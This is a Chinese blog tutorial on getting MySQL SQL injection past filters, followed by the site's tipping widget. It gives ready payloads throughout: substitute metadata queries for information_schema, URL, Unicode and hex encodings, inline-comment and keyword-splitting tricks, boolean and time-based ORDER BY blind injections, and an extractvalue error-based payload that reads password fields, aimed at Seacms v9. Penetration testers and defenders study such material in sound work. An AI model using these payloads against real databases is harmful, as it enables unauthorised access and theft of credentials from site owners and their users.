绕过信息过滤与注入限制

绕过 information_schema 过滤

information_schema 是 MySQL 中存储元数据的系统数据库,常用于 SQL 注入中获取表名、列名等信息。当 information_schema 被过滤时,可以通过以下方法绕过。

1 替代视图

使用 sys 库(MySQL 5.7+)

sys 库是 MySQL 5.7 及以上版本提供的系统库,包含丰富的元数据信息。

数据库中:SELECT table_name FROM sys.schema_auto_increment_columns 
WHERE table_schema = DATABASE();

mysql.innodb_table_stats 表存储了 InnoDB 表的统计信息,可用于获取表名

数据库中:SELECT table_name FROM mysql.innodb_table_stats 
WHERE database_name = DATABASE();

2 编码混淆

通过编码混淆关键字,可以绕过简单的字符串过滤。

方法eg
URL%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicodeinformation\u005f_schema
十六进制0x696e666f726d6174696f6e5f736368656d61

3 语法变形

通过语法变形,可以绕过对关键字的直接过滤。

内联注释绕过

数据库中:

SELECT table_name FROM /*!information_schema*/.tables;

关键字分割

数据库中:

SELECT table_name FROM information/**/_schema.tables;

绕过 ORDER BY 注入限制

ORDER BY 注入是一种常见的 SQL 注入类型,通常用于盲注场景。以下是几种绕过限制的方法。

1 联合查询注入

通过联合查询,可以直接获取数据。

2 盲注技术类型

布尔盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配ORDER BY (SELECT table_name) REGEXP '^a'

3 分页提取数据

通过 LIMIT 和 OFFSET 分页提取数据

数据库中:

ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);

Seacmsv9 报错注入:

Seacmsv9 是一款常见的内容管理系统,曾存在报错注入漏洞。以下是漏洞利用过程与分析。

1 漏洞利用过程

通过构造恶意请求触发报错注入。

2 报错结果分析

成功回显数据库名

密码字段截断处理

通过 MID() 函数分段读取密码字段

数据库中:extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))

3 常见问题排查

权限不足

字段过长

特殊字符

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

JioJio~z

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值